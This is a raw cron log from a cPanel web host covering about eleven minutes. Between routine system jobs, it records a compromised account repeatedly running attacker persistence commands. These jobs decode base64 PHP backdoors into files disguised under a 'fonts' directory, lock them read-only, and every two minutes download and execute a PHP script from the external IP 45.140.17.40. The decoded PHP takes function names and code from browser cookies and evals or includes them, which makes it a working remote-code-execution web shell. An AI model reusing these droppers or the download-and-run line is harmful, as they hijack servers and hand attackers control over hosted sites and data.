Sep  8 22:44:01 ip-184-168-122-23 CROND[3090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:44:01 ip-184-168-122-23 CROND[3093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:44:01 ip-184-168-122-23 CROND[3092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:44:01 ip-184-168-122-23 CROND[3094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:44:01 ip-184-168-122-23 CROND[3095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:45:01 ip-184-168-122-23 CROND[3261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:45:01 ip-184-168-122-23 CROND[3263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:45:01 ip-184-168-122-23 CROND[3267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:45:01 ip-184-168-122-23 CROND[3265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:45:01 ip-184-168-122-23 CROND[3264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:45:01 ip-184-168-122-23 CROND[3266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:46:01 ip-184-168-122-23 CROND[3357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:46:01 ip-184-168-122-23 CROND[3359]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 22:46:01 ip-184-168-122-23 CROND[3361]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:46:01 ip-184-168-122-23 CROND[3360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:46:01 ip-184-168-122-23 CROND[3362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:46:01 ip-184-168-122-23 CROND[3363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:46:01 ip-184-168-122-23 CROND[3364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:47:01 ip-184-168-122-23 CROND[3472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:47:01 ip-184-168-122-23 CROND[3474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:47:01 ip-184-168-122-23 CROND[3475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:47:01 ip-184-168-122-23 CROND[3476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:48:01 ip-184-168-122-23 CROND[3563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:48:01 ip-184-168-122-23 CROND[3567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:48:01 ip-184-168-122-23 CROND[3566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:48:01 ip-184-168-122-23 CROND[3565]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:48:01 ip-184-168-122-23 CROND[3568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:49:01 ip-184-168-122-23 CROND[3650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:49:01 ip-184-168-122-23 CROND[3651]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 22:49:01 ip-184-168-122-23 CROND[3652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:49:01 ip-184-168-122-23 CROND[3655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:49:01 ip-184-168-122-23 CROND[3654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:50:01 ip-184-168-122-23 CROND[3779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3782]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:50:01 ip-184-168-122-23 CROND[3778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:50:01 ip-184-168-122-23 CROND[3783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:51:01 ip-184-168-122-23 CROND[3880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:51:01 ip-184-168-122-23 CROND[3882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:51:01 ip-184-168-122-23 CROND[3881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:51:01 ip-184-168-122-23 CROND[3883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:52:02 ip-184-168-122-23 CROND[4053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:52:02 ip-184-168-122-23 CROND[4055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:52:02 ip-184-168-122-23 CROND[4056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:52:02 ip-184-168-122-23 CROND[4057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:52:02 ip-184-168-122-23 CROND[4058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:53:01 ip-184-168-122-23 CROND[4153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:53:01 ip-184-168-122-23 CROND[4154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:53:01 ip-184-168-122-23 CROND[4156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:53:01 ip-184-168-122-23 CROND[4157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:54:01 ip-184-168-122-23 CROND[4282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:54:01 ip-184-168-122-23 CROND[4284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:54:01 ip-184-168-122-23 CROND[4286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:54:01 ip-184-168-122-23 CROND[4285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:54:01 ip-184-168-122-23 CROND[4291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:55:01 ip-184-168-122-23 CROND[4400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:55:01 ip-184-168-122-23 CROND[4402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:55:01 ip-184-168-122-23 CROND[4404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:55:01 ip-184-168-122-23 CROND[4406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:55:01 ip-184-168-122-23 CROND[4407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:55:01 ip-184-168-122-23 CROND[4408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
